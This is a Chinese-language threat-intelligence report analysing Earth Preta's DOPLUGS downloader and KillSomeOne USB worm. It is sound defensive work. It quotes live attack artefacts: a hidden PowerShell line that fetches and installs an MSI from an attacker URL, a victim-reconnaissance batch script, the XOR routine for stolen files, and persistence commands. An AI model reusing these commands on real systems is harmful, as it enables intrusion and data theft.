APT & 針對式目標攻擊
Earth Preta 攻擊行動使用 DOPLUGS 惡意程式攻擊亞洲
本文討論 Earth Preta 集團的一起攻擊行動,該行動使用了一個 DOPLUGS 惡意程式變種來攻擊亞洲國家。
簡介
2023 年 7 月,Check Point 披露了一起名叫「SMUGX」的攻擊行動,這起瞄準歐洲國家的攻擊行動應該是由 Earth Preta (又名 Mustang Panda 或 Bronze President) 進階持續性滲透攻擊 (APT) 集團所發動。同年,我們也蒐集到一封攻擊台灣政府的魚叉式網路釣魚電子郵件,挾帶了一個客製化 PlugX 惡意程式,而 SMUGX 攻擊行動也同樣用到了這個惡意程式。既然之前的其他研究人員大多將焦點擺在歐洲方面的攻擊,那麼我們就來探討一下亞洲這邊的攻擊行動。經過了數個月的調查,我們找到了更多 SMUGX 攻擊行動相關的樣本,它們從 2022 至 2023 年期間不僅攻擊了台灣,也攻擊了越南、馬來西亞以及其他亞洲國家。
這個客製化 PlugX 惡意程式自 2022 年活躍至今,Secureworks、Recorded Future、Check Point 及 Lab52 都曾發表過相關研究。在分析過程中,趨勢科技發現這個客製化 PlugX 惡意程式有別於通用版的 PlugX 惡意程式,通用版有完整的後門指令模組,但前者 (客製化版本) 只是被用來下載通用版。基於功能上的差異,我們決定將這個客製化 PlugX 版本重新命名為:DOPLUGS。
經過一番研究之後,我們發現 DOPLUGS 惡意程式使用了 KillSomeOne 模組,這是一個 USB 蠕蟲,最早在 2020 年 11 月一份 Sophos 的報告中揭露。然而早在 2020 年 1 月就曾有一篇報告提到了一個 USB 蠕蟲,而這也是第一個分析到 PlugX 惡意程式含有 KillSomeOne 行為的報告。
本文聚焦 Earth Preta 攻擊行動並針對 DOPLUGS 惡意程式變種提出我們的分析,包括它的後門指令行為、與 KillSomeOne 模組的整合,以及該程式的演變。
誘餌與受害者
根據我們自 2023 年 7 月以來蒐集到的 DOPLUGS 相關重要檔案 (參見表 1),我們可斷定其受害者主要分布在台灣和蒙古 (至少從這些特定樣本所涉及的攻擊來看)。在檔案名稱部分,凡用來當成社交工程誘餌的檔案,其檔名都與時事相關,例如 2024 年 1 月舉行的台灣總統大選。
提交給 VirusTotal 的日期 | LNK 檔案名稱 | LNK 檔案中的下載連結 | MSI 檔案 | 檔案名稱 | |
---|---|---|---|---|---|
2023 年 7 月 7 日 | Үер усны сэрэмжлүүлэг.lnk (在蒙古文是「洪水警告」的意思) |
https://estmongolia[.]com/Үер усны сэрэмжлүүлэг | 5f5c3b.msi | OneNoteM.exe msi.dll NoteLogger.dat |
Үер усны сэрэмжлүүлэг.pdf |
2023 年 8 月 17 日 | 選舉民意調查研究問卷.lnk |
https://getfiledown[.]com/utdkt | 無 | 無 | 無 |
2023 年 8 月 18 日 | 水源路二至五期整建住宅都市更新推動說明.lnk |
https://getfiledown[.]com/vgbskgyu | 6460c7.msi | OneNoteM.exe msi.dll NoteLogger.dat |
水源路二至五期整建住宅都市更新推動說明.pdf |
2023 年 9 月 9 日 | 郭台銘選擇賴佩霞為總統副手深層考量.lnk |
https://getfilefox[.]com/enmjgwvt | enmjgwvt | OneNoteM.exe | 郭台銘選擇賴佩霞為總統副手深層考量.pdf |
表 1:一些與 2024 年台灣大選相關的 DOPLUGS 重要檔案。
「水源路二至五期整建住宅都市更新推動說明.pdf」這個誘餌文件是一個有關台灣都市更新計畫的繁體中文檔案。
「Үер усны сэрэмжлүүлэг.pdf」這個誘餌文件是一份蒙古文的洪水警告。
根據 2022 至 2023 年 VirusTotal 的資料 (亞洲地區) 顯示,我們看到駭客主要攻擊的是台灣和越南,攻擊其他亞洲國家的情況則較少,如:中國、新加坡、香港、日本、印度、馬來西亞,以及蒙古。
利用魚叉式網路釣魚郵件突破防線
攻擊發送給受害者的魚叉式網路釣魚郵件內含一個 Google Drive 連結指向一個密碼保護的壓縮檔,用來下載 DOPLUGS 惡意程式。圖 4 顯示一個電子郵件樣本。
表 1 看到的惡意 Windows 捷徑檔 (LNK) 會偽裝成文件並包裝在一個 RAR 壓縮檔中。LNK 檔案中的「target」參數內容如下:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $install=New-Object -ComObject 'WindowsInstaller.Installer';$install.uilevel = 2;$install.InstallProduct('https://getfiledown[.]com/vgbskgyu','REMOVE=ALL');$install.InstallProduct('https://getfiledown[.]com/vgbskgyu') .\SsEWyTjKIfqnOTtTycNpSuEH.pdf
當受害者點選了 LNK 檔案,就會從 https://getfiledown[.]com/vgbskgyu 下載一個 MSI 檔案,接著會在系統植入以下檔案供後續執行:
- %localappdata%\MPTfGRunFbCn\OneNotem.exe (合法的執行檔)
- %localappdata%\MPTfGRunFbCn\msi.dll (惡意的 DLL 檔案)
- %localappdata%\MPTfGRunFbCn\NoteLogger.dat (加密的惡意檔案)
攻擊工具分析
本節詳細分析:DOPLUGS 惡意程式、包含 KillSomeOne 模組的 DOPLUGS,以及通用版 PlugX 惡意程式。在介紹惡意程式之前,我們先按時間順序摘要列出一些相關報導:
圖中詳列了報導的發布時間、標題、報導來源,以及相關的惡意程式家族。
DOPLUGS 下載器
DOPLUGS 是一個下載器,提供 4 個後門指令,其中一個指令是下載通用版 PlugX 惡意程式。有關其惡意檔案的解密與執行流程,Lab52 在 2023 年 12 月已有詳細說明,我們的分析將聚焦在它的後門行為。
表 2 是一份感染流程當中用到的檔案清單。
檔案名稱 | SHA256 雜湊碼 | 偵測名稱 |
---|---|---|
水源路二至五期整建住宅都市更新推動說明.lnk |
1a8aeee97a31f2de076b8ea5c04471480aefd5d82c57eab280443c7c376f8d5c | Trojan.LNK.DOPLINK.ZTKI |
6460c7.msi | 364f38b48565814b576f482c1e0eb4c8d58effcd033fd45136ee00640a2b5321 | Backdoor.Win32.DOPLUGS.ZTKI |
OneNotem.exe | b9836265c6bfa17cd5e0265f32cedb1ced3b98e85990d000dc8e1298d5d25f93 | |
msi.dll | f8c1a4c3060bc139d8ac9ad88d2632d40a96a87d58aba7862f35a396a18f42e5 | Trojan.Win32.DOPLUGS.ZTKI |
NoteLogger.dat | a5cd617434e8d0e8ae25b961830113cba7308c2f1ff274f09247de8ed74cac4f | Backdoor.Win32.DOPLUGS.ZTKI.enc |
後門指令 | 功能 |
---|---|
0x7002 | 啟動一個 CMD 指令列介面。此功能是直接從通用版 PlugX 惡意程式的指令列介面模組複製而來。 |
0x1007 | 將幕後操縱 (CC) 伺服器送來的資料用逗號 (,) 分開,資料的格式如下: {WINHTTP_OPTION_CONNECT_TIMEOUT},{sleep_time}, {WINHTTP_OPTION_SEND_TIMEOUT},{sleep_time} 或 {WINHTTP_OPTION_RECEIVE_TIMEOUT},{sleep_time} |
0x3004 | 從 CC 伺服器下載檔案,包括:DLL、EXE 和 DAT,這些是通用版的 PlugX 惡意程式。 |
0x1005 | 刪除常駐痕跡: 刪除 (HKCU | HKLM) Software\Microsoft\Windows\CurrentVersion\Run 這個系統登錄機碼。 在 %temp% 目錄下建立並執行「del_OneNoteUpdate.bat」這個批次檔來將自己刪除。 |
表 3:DOPLUGS 的後門指令。
不論是發送資料給 CC 伺服器或從 CC 伺服器接收資料,都會使用 RC4 演算法來進行加密或解密,它會從 CC 伺服器取得 0x20 個位元組 (不過這並非固定)。
我們還觀察到另一個變種 (dca39474220575004159ecff70054bcf6239803fcf8d30f4e2e3907b5b97129c),其後門指令的編號不同,但功能相同(參見表 4)。
後門指令 | 功能 |
---|---|
0x7002 | 啟動一個 CMD 指令列介面。此功能是直接從通用版 PlugX 惡意程式的指令列介面模組複製而來。 |
0x10000001 | 將 CC 伺服器送來的資料用逗號(,) 分開,其資料格式如下: {WINHTTP_OPTION_CONNECT_TIMEOUT},{sleep_time}, {WINHTTP_OPTION_SEND_TIMEOUT},{sleep_time}, 或 {WINHTTP_OPTION_RECEIVE_TIMEOUT},{sleep_time} |
0x3004 | 從 CC 伺服器下載檔案,包括:DLL、EXE 和 DAT,這些是通用版的 PlugX 惡意程式。 |
0x1005 | 刪除常駐痕跡: 刪除 (HKCU | HKLM) Software\Microsoft\Windows\CurrentVersion\Run 這個系統登錄機碼。 在 %temp% 目錄下建立並執行「del_Acrobat Update.bat」這個批次檔來將自己刪除。 |
表 4:另一個 DOPLUGS 版本的後門指令。
有趣的是,這個 DOPLUGS 版本使用的是 Adobe 應用程式來誘騙受害者 (VirusTotal 蒐集到的樣本大多來自越南)。根據後門指令的演變,我們懷疑先前版本當中的 0x1002 這組指令僅用來供應檔案。這也解釋了為何這次的版本已經移除 0x1002 這組指令,因為下一階段惡意檔案的下載器行為已經被 0x3004 這道後門指令取代。
通用版 PlugX 惡意程式
本節介紹通用版 PlugX 惡意程式,也就是 DOPLUGS 經由後門指令 0x3004 下載的檔案。我們很幸運地從 CC 伺服器下載到兩種類型的最終惡意檔案來進行分析。表 5 顯示我們下載到的檔案。
CC 伺服器來源 | 類型 | 檔案名稱 | 說明 | PlugX CC 伺服器 |
---|---|---|---|---|
electrictulsa[.]com:443 | 1 | adobe_licensing_wf_helper.exe | 用來側載的合法執行檔。 | web[.]bonuscave[.]com:8080 |
libcef.dll | 惡意載入器 | |||
licensing.dat | 加密的惡意檔案 | |||
ivibers[.]com:443 or meetviberapi[.]com:443 | 2 | Avastsz.exe | 用來側載的合法執行檔。 | www[.]markplay[.]net:8080 images[.]markplay[.]net:443 |
SZBrowser.dll | 惡意載入器 | |||
log.dat | 加密的惡意檔案 | |||
149[.]104[.]12[.]64:443 | 2 | Avastsz.exe | 用來側載的合法執行檔。 | news[.]comsnews[.]com:443 news[.]comsnews[.]com:5938 images[.]kiidcloud[.]com:443 127[.]0[.]0[.]1:8080 127[.]0[.]0[.]1:8000 |
SZBrowser.dll | 惡意載入器 | |||
log.dat | 加密的惡意檔案 |
表 5:經由 DOPLUGS 下載到的通用版 PlugX 惡意程式類型。
根據 Palo Alto 發表的一份報告,這些通用版 PlugX 惡意程式的樣本有可能是從 THOR PlugX 修改而來,基於以下幾點觀察:
- 兩者在 DLL 載入器部分的程式碼結構相似。
- 兩者在進入 PlugX 主函式之前的 shellcode 相同。
- 兩者擁有相同的指令列執行參數。
檔案名稱 | SHA256 雜湊碼 |
---|---|
adobe_licensing_wf_helper.exe | 93624d0ad03998dd267ae8048ff05e25b5fd5f7b4116a2aff88c87d42422d5dc |
libcef.dll | 583941ca6e1a2e007f5f0e2e112054e44b18687894ac173d0e93e035cea25e83 |
licensing.dat | e3bae2e2b757a76db92ab017328d1459b181f8d98e04b691b62ff65d1e1be280 |
表 6:第一類型通用版 PlugX 惡意程式。
當 DOPLUGS 啟動 adobe_licensing_wf_helper.exe 檔案時,指令列將無任何參數。其執行流程如下:
- 檔案 adobe_licensing_wf_helper.exe 會安裝和建立常駐機制。
- 檔案 adobe_licensing_wf_helper.exe 600 0 會將自己注入到 %SystemRoot%\system32\WerFault.exe 並傳入 601 0 當作參數。
- 檔案 %SystemRoot%\system32\WerFault.exe 601 0 會執行後門指令。
以下是第一個參數的功能:
第一個參數 | 功能 |
---|---|
無 | 與指定 100 時相同 |
100 | 建立常駐機制: 將檔案安裝到 %ProgramFiles%\Common Files\Adobe Licensing Helper 資料夾。 建立名為「Adobe Licensing Helper」的服務。 指令列:%ProgramFiles%\Common Files\Adobe Licensing Helper\adobe_licensing_wf_helper.exe 600 0 在系統登錄機碼:Software\Microsoft\Windows\CurrentVersion\Run 底下建立名稱為「Adobe Licensing Helper」的數值。 指令列:%ProgramFiles%\Common Files\Adobe Licensing Helper\adobe_licensing_wf_helper.exe 600 0 |
600 | 將 PlugX 注入到 %SystemRoot%\system32\WerFault.exe 處理程序當中,並傳入 601 0 作為參數。 |
601 | 執行通用版 PlugX 惡意程式的後門指令。 |
609 | 經由管線 (pipe) 收到後門指令,再經由管線將執行結果傳入主處理程序。 |
表 7:第一個參數的功能。
第二類型
檔案名稱 | SHA256 雜湊碼 |
---|---|
Avastsz.exe | b975af70ee9bdfdc6e491b58dd83385f3396429a728f9939abade48d15941ea1 |
SZBrowser.dll | 60b3a42b96b98868cae2c8f87d6ed74a57a64b284917e8e0f6c248c691d51797 |
log.dat | eb9e557fac3dd50cc46a544975235ebfce6b592e90437d967c9afba234a33f13 |
表 8:第二類型通用版 PlugX 惡意程式。
指令列參數從 6xx 換成了 7xx,但參數的功能仍維持不變。
另一個部分是組態設定的解密。在第一類型 PlugX 惡意程式中,組態設定區段是以解密後的純文字顯示,但在第二類型當中卻仍然維持加密狀態,組態設定資料只有在處理程序需要用到時才會使用 qwedfgx202211 這個 RC4 金鑰來將它解密。
位移 | 數值 |
---|---|
+0x10 | 鍵盤側錄程式會讀取的副檔名:
|
+0x828 | CC 伺服器名單 |
+0xD58 | 安裝目錄 |
+0xF58 | 系統登錄機碼名稱 |
+0x1158 | 服務名稱 |
+0x1358 | 服務名稱 |
+0x1558 | 給封包用的 RC4 金鑰 |
表 9:第二類型 PlugX 惡意程式的組態設定區段結構。
與 KillSomeOne 整合
當我們在試圖尋找更多 DOPLUGS 相關樣本時,發現了一個 DOPLUGS 變種具備了 KillSomeOne 的功能。KillSomeOne 模組是一個專門經由 USB 來散播惡意程式、蒐集資訊及竊取文件的外掛模組。它可用來擴充感染能力,讓駭客突破防線的手段不會侷限在只有網路釣魚或誘餌文件。
KillSomeOne 模組最早是由 Sophos 在一份 2020 年的報告中披露。含有 KillSomeOne 模組的 DOPLUGS 變種與先前我們分析到的 DOPLUGS 變種極為相似,唯一的差異在於感染的方式,它總共有四個元件:一個合法的執行檔、一個惡意的 DLL、一個加密的惡意檔案,以及一個加密的 PE 檔案。這個變種比以往多了一個啟動器檔案,用來執行合法的執行檔以便將 DLL 側載。
壓縮檔 | 檔案名稱 | 說明 |
---|---|---|
1.rar (a0c94205ca2ed1bcdf065c7aeb96a0c99f33495e7bbfd2ccba36daebd829a916) | HPSmart.exe | 合法的執行檔。 |
InstanceFinderDlgUI.dll | 惡意的 DLL。 | |
InstanceFinderDlg.dat | 加密的惡意檔案。 | |
HPReport.exe | 加密的啟動器。 |
表 10:含有 KillSomeOne 模組的 DOPLUGS 變種檔案清單。
使用 Golang 編譯的載入器 (InstanceFinderDlgUI.dll) 是我們唯一找的一個,圖 20 顯示它所包含的函式。
執行流程如下:
- 讀取同一資料夾中的 InstanceFinderDlg.dat 加密惡意檔案。
- 使用 XOR 搭配單一金鑰「0x73」將加密惡意檔案解密。
- 從 main_NTCreateThreadEx 進入解密後的惡意檔案。
惡意檔案處理程序與一般的 DOPLUGS 變種類似。其函式會檢查 HPSmart.exe "參數" 這道指令的參數部分。第一次執行時不帶參數:它只會建立常駐機制,然後重新啟動自己並帶入參數,參數是一個隨機的三位數號碼。下表列出其指令列參數與對應的行為:
參數 | 行為 |
---|---|
無參數 | 建立常駐機制。 |
XXX (隨機的三位數號碼) | KillSomeOne 執行緒 / DOPLUGS 後門行為。 |
-net | 建立常駐機制 / 將以下系統登錄機碼的數值設為「1」:System\CurrentControlSet\Control\Network\Version。 |
“1” “0” | 啟用 Wi-Fi 連線。 |
表 11:每個指令列參數對應的行為。
以下是建立常駐機制的步驟:
- 將所有檔案複製到安裝目錄:C:\Users\Public\HPSmartMZWx\。
- 在系統登錄機碼 Software\Microsoft\Windows\CurrentVersion\Run 底下建立 C:\Users\Public\HPSmartMZWx\HPSmart.exe xxx 這個數值以便常駐。
- 建立處理程序:C:\Users\Public\HPSmartMZWx\HPSmart.exe xxx。
KillSomeOne 執行緒有兩項主要行為:第一是清除之前的 PlugX 惡意程式留下來的所有痕跡,包括:檔案、處理程序、系統登錄,以及排程工作。
刪除的物件 | 目標名稱清單 |
---|---|
有對應的資料夾及系統登錄機碼的處理程序。 | Adobe Desktop Service.exe identity_helper.exe pidgin.exe WaveeditsNero.exe svchost.exe (如果未指定參數) WaveeditNero.exe gup.exe Silverlight.Configuration.exe, waveedit.exe waveedits.exe Adobe_licensing_wf.exe adobe_wf.exe MicrosoftEdges.exe Opera.exe WeChat.exe symantecs.exe Symantec.exe msexpert.exe vivaldi.exe CUZ.exe RzCef.exe CefRender.exe RzProcess.exe RzerProcess.exe service_host.exe mfpmp.exe |
排程工作 |
udisk_1 udisk_2 ZBT_0.1 LKUFORYOU_1 AcroRd32 udisk_1.00 LKUFORYOU_2 udisk_1.03 udisk_1.02 AdobeDesktop |
系統登錄機碼:(HKCU|HKLM) Software\Microsoft\Windows\CurrentVersion\Run | Razer RzCef CefRender RzerProcess CefRz X32dbg vstool_x86 WindowsNT nvcplui NeroEdit AdobeDesktop |
資料夾 | C:\Users\Public\AdobeDesktop\, C:\ProgramData\Razer\, C:\ProgramData\RazerCefProcess\, C:\ProgramData\CefRz\, C:\ProgramData\DebugReport\, C:\programData\RzerProcess\, C:\ProgramData\SymantecSEndpoint\Bin\ |
檔案 | C:\ProgramData\FmtOptions.dll” (可能跟 LuminousMouth 有所關聯) |
表 12:清除之前的 PlugX 惡意程式留下來的痕跡。
第二項行為與 USB 感染有關,它會使用 API 函式 DeviceIoControl 搭配參數 0x2d1400 來搜尋 USB 隨身碟。接著,它會在目標 USB 隨身碟中產生三個執行緒,以下詳細說明。
執行緒 1:USB 隨身碟的蠕蟲行為 (橫向移動)
這個執行緒會建立以下 mutex 作為標記:USB_NOTIFY3_INF_{USB_volume}。在蠕蟲行為開始前,會先設好以下這些系統登錄機碼來隱藏檔案的副檔名以及惡意程式與偷來文件所在的資料夾。
- HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, Hidden=0
- HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, ShowSuperHidden=0
- HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, HideFileExt=1
被感染的 USB 隨身碟上有四個元件會被複製到隱藏的資料夾。
- HPReport.exe 複製成 {USB_volume}:\Usb Drive\1.0\5.dat
- HPSmart.exe 複製成 {USB_volume}:\Usb Drive\1.0\6.dat
- InstanceFinderDlgUI.dll 複製成 {USB_volume}:\Usb Drive\1.0\2.dat
- InstanceFinderDlg.dat 複製成 {USB_volume}:\Usb Drive\1.0\InstanceFinderDlg.dat
解密後的啟動器 HPReport.exe 會複製成 {USB_volume}:\Usb Disk ({free space of USB}).exe (偽裝成 USB 隨身碟),並以 opn-U({free space of USB}).cmd 的名稱複製到以下資料夾:
- {USB_volume}:\AVAST\Protection for Autorun\
- {USB_volume}:\SMADAV\SMADAV\
- {USB_volume}:\Removable Disk\
KillSomeOne 模組專門經由 USB 感染,啟動器會假扮成一個 USB 隨身碟來引誘受害者點選它,除非使用者特別查看它的副檔名,否則不容易看出來。啟動器的作用很簡單:將 2.dat 重新命名為 InstanceFinderDlgUI.dll,然後執行 6.dat,這是負責側載 InstanceFinderDlgUI.dll 檔案的執行檔。
這些資料夾中的所有檔案會被複製到 {USB_volume}:\Usb Disk\:
- {USB_volume}:\
- {USB_volume}:\Kaspersky\
- {USB_volume}:\Kaspersky\Usb Drive\
- {USB_volume}:\Usb Drive\3.0\
- {USB_volume}:\Kaspersky\Removable Disk\ (包括檔案與子資料夾)
- {USB_volume}:\AVAST\Protection for Autorun\ (包括檔案和子資料夾)
- {USB_volume}:\SMADAV\SMADAV\ (包括子資料夾中的檔案)
這個執行緒會建立以下 mutex 作為標記:USB_NOTIFY3_COP_{USB_volume}。它竊取資料的情況有兩種,以下分別說明:
如果它能夠成功連線至 https://www.microsoft.com/,就會在下列資料夾中檢查檔案的副檔名:
- {USB_volume}:\Kaspersky\Usb Drive\1.0\
- {USB_volume}:\Usb Drive\1.0\
- {USB_volume}:\.System\Device\USB\3.0\Kaspersky\Usb Drive\1.0
- {USB_volume}:\.System\Device\USB\3.0\Usb Drive\1.0\
如果副檔名不是 .cmd、.bat 或 .dll 而且檔案名稱不是 RECYCLERS.BIN,那就會將檔案傳送到 %userprofile%\AppData\Roaming\Render\1.0\,並且將原本的檔案內容清空。
此外我們也發現它有另一項功能,但截至本文撰稿為止似乎還並未實作。此功能會蒐集同一目錄下的所有檔案,並尋找下列副檔名的檔案:
- .doc
- .docx
- .ppt
- .pptx
- .xls
- .xlsx
- pdf.
接著,它會將檔案名稱編碼 (base64)、將檔案內容加密,然後,將檔案複製到當前處理程序所在的資料夾。
以下是將偷來的檔案加密的 XOR 演算法:
encrypted_contents = []
encrypted_key = 0x6D
for i in range(len(contents)):
encrypted_contents.append(contents[i] ^ encrypted_key)
encrypted_key += 0xAA
如果前述連線失敗,那這個執行緒就會檢查以下系統登錄機碼的數值:(HKCU|HKLM)\System\CurrentControlSet\Control\Network\Version,而它並不存在。接著,它會產生並執行 %temp%\edg{value of QueryPerformanceCounter}.bat 這個批次檔腳本來蒐集受害者的資訊。
%comspec% /q /c systeminfo >"%~dp0AE353BBEB1C6603E_E.dat"
%comspec% /q /c ipconfig /all >>"%~dp0AE353BBEB1C6603E_E.dat"
%comspec% /q /c netstat -ano >>"%~dp0AE353BBEB1C6603E_E.dat"
%comspec% /q /c arp -a >>"%~dp0AE353BBEB1C6603E_E.dat"
%comspec% /q /c tasklist /v >>"%~dp0AE353BBEB1C6603E_E.dat"
del %0
所有的輸出都會經過加密之後寫入 {USB_volume}:\Usb Drive\1.0\ {value of SOFTWARE\CLASSES\ms-pu\CLSID}.dat 這個檔案。
這個執行緒會建立以下 mutex 作為標記:USB_NOTIFY_BAT_H3_{USB_volume} ,它只有在以下條件成立時才執行:
- 當連線至 https://www.microsoft.com 失敗。
- 當系統登錄機碼 System\\CurrentControlSet\\Control\\Network\\version 的數值不存在 (這個系統登錄機碼會在指定了指令列參數「-net」時啟用)。
執行緒會搜尋下列資料夾中的所有批次檔腳本:
- {USB_volume}:\Usb Drive\1.0\p\
- {USB_volume}:\Kaspersky\Usb Drive\1.0\p\
- {USB_volume}:\.System\Device\USB\3.0\Usb Drive\1.0\p\
如果批次檔腳本的名稱當中不含以下字串:tmpc_ 或 tmp_,那麼就使用 XOR 演算法將腳本解密,這也是前面執行緒 2 當中所使用的檔案加密演算法。接著產生新的批次檔腳本:%temp%\{value of QueryPerformanceCounter}.bat 並使用 ShellExecuteW 來加以執行,內容如下:
{USB_volume}
cd "{USB_volume}:\target folder\"
{decrypted contents in batch file}
del %0
DOPLUGS 後門行為 (幕後操縱)
這個行為與原始的 DOPLUGS 惡意程式相同,負責執行 CC 通訊、後門指令,並且下載下一階段的通用版 PlugX 惡意程式。
以下指令是用來設定排程工作以便啟用 Wi-Fi 連線:
- cmd.exe /c schtasks.exe /create /sc minute /mo 30 /tn "Security WIFI Script" /tr "netsh interface set interface """Wireless Network Connection""" enabled" /ru SYSTEM /F&schtasks.exe /run /tn "Security WIFI Script"
- cmd.exe /c schtasks.exe /create /sc minute /mo 30 /tn "Security WIFI2 Script" /tr "netsh interface set interface """Wireless Network Connection 2""" enabled" /ru SYSTEM /F&schtasks.exe /run /tn "Security WIFI2 Script"
- cmd.exe /c schtasks.exe /create /sc minute /mo 30 /tn "Security WIFI3 Script" /tr "netsh interface set interface """Wireless Network Connection 3""" enabled" /ru SYSTEM /F&schtasks.exe /run /tn "Security WIFI3 Script"
舊的變種
除了 DOPLUGS 之外,我們也追查到有幾個客製化 PlugX 惡意程式樣本同樣也具備了 KillSomeOne 模組。根據我們的調查,這樣的整合應該已經存在三年,而率先揭露此技巧的應該是 Avira 發布的報告。Avira 的報告中提到的樣本是第一個含有 KillSomeOne 模組的 PlugX 變種,其設計是要經由 USB 來散播。
下表列出已整合 KillSomeOne 模組的 PlugX 惡意程式:
開始活躍的時間 (大約) | 樣本雜湊碼 (SHA256) | 變種 | CC 伺服器 |
---|---|---|---|
2023 年 11 月 | 3fa7eaa4697cfcf71d0bd5aa9d2dbec495d7eac43bdfcfbef07a306635e4973b | KillSomeOne + DOPLUGS | 45[.]83[.]236[.]105:443 |
2022 年 12 月至 2023 年 5 月 | 17225c9e46f809556616d9e09d29fd7c13ca90d25ae21e00cc9ad7857ee66b82 | KillSomeOne + (Hodur 或 DOPLUGS) | 45[.]131[.]179[.]179:22 45[.]131[.]179[.]179:443 45[.]131[.]179[.]179:5938 103[.]192[.]226[.]46:44 3127.0.0.1:80 |
2021 年 9 月至 2022 年 12 月 | d0ca6917c042e417da5996efa49afca6cb15f09e3b0b41cbc94aab65a409e9dc | KillSomeOne + Hodur | 第一類 154[.]204.27.181:80 154[.]204.27.181:110 103[.]56.53.120:80 103[.]56.53.120:8080 第二類 176[.]113.69.91:443 |
2018 年 9 月 | d64afd9799d8de3f39a4ce99584fa67a615a667945532cfa3f702adbe27724c4 | KillSomeOne + 第一個 PlugX 惡意程式變種 | 45[.]251[.]240[.]55:443 45[.]251[.]240[.]55:8080 |
表 13:KillSomeOne + PlugX 不同階段的演變。
在檢查了這些 PlugX 惡意程式變種的後門指令之後,我們發現還有一個變種是從 DOPLUGS 轉變到 Hodur。此版本保留了通用版 PlugX 惡意程式的磁碟模組,不過客製化後門指令卻改成像增強版 DOPLUGS 一樣 (有別於原始的 DOPLUGS 變種沒有任何來自通用版 PlugX 惡意程式的模組)。另一個令人驚訝的特點是,KillSomeOne + Hodur 變種的 CC 伺服器還分成兩類:第一類是一般用來接收後門指令的 CC 伺服器,第二類是設計用來下載要注入 svchost.exe 處理程序的惡意檔案。
結論
Earth Preta 主要鎖定的目標是全球的政府機關,尤其是亞太和歐洲地區。就我們的觀察來看,我們相信 Earth Preta 偏好在攻擊中使用魚叉式網路釣魚搭配 Google Drive 連結。
以上我們解釋了 DOPLUGS 惡意程式的用途,這是 Earth Preta 用來下載通用版 PlugX 惡意程式的主要工具之一 (我們認為它自從 2022 年便已經在使用)。在追查其他樣本的過程中,我們也發現了一個整合了 KillSomeOne 模組的 DOPLUGS 變種,而且最早可追溯至 2018 年,這顯示 Earth Preta 長久以來一直在不斷精進他們的工具,不時會增加新的功能和特色。
在我們調查 Earth Preta 活動的這段期間,我們發現該集團仍相當活躍,尤其在歐洲和亞洲。未來我們很有機會再聽到該集團的更多消息,所以資安團隊最好熟悉 Earth Preta 的運作方式。
MITRE ATT&CK
手法 | 編號 | 名稱 |
---|---|---|
資源開發 | T1583.004 | 取得基礎架構:伺服器 |
T1587.001 | 開發功能:惡意程式 | |
T1585.002 | 建立帳號:電子郵件帳號 | |
T1588.002 | 取得功能:工具 | |
T1608.001 | 架設功能:上傳惡意程式 | |
T1608.005 | 連結目標 | |
突破防線 | T1566.002 | 網路釣魚:魚叉式網路釣魚連結 |
T1090 | 經由可卸除式媒體複製 | |
執行 | T1204.002 | 使用者執行:惡意檔案 |
常駐 | T1547.001 | 開機或登入自動執行:系統登錄「Run」機碼或「啟動」(Startup) 資料夾 |
T1574.002 | 挾持執行流程:DLL 側載 | |
T1053.005 | 排程工作:排程工作 | |
躲避防禦 | T1140 | 解密/解碼檔案或資訊 |
T1036.005 | 障眼法:利用合法名稱或地點掩蓋非法 | |
T1070.009 | 清除痕跡:清除常駐機制 | |
T1564.001 | 隱藏檔案和目錄 | |
存取登入憑證 | T1056.001 | 擷取使用者輸入:鍵盤側錄 |
搜尋 | T1083 | 檔案與目錄搜尋 |
T1016.001 | 網際網路連線搜尋 | |
T1049 | 系統網路連線搜尋 | |
T1082 | 系統資訊搜尋 | |
T1012 | 查詢系統登錄 | |
橫向移動 | T1091 | 經由可卸除式媒體複製 |
蒐集 | T1005 | 來自本機系統的資料 |
T1025 | 來自可卸除式媒體的資料 | |
幕後操縱 (CC) | T1071.001 | 應用程式層次的通訊協定:網站通訊協定 |
T1573 | 加密管道 |
入侵指標資料
如需本文提到的入侵指標完整清單,請至此處。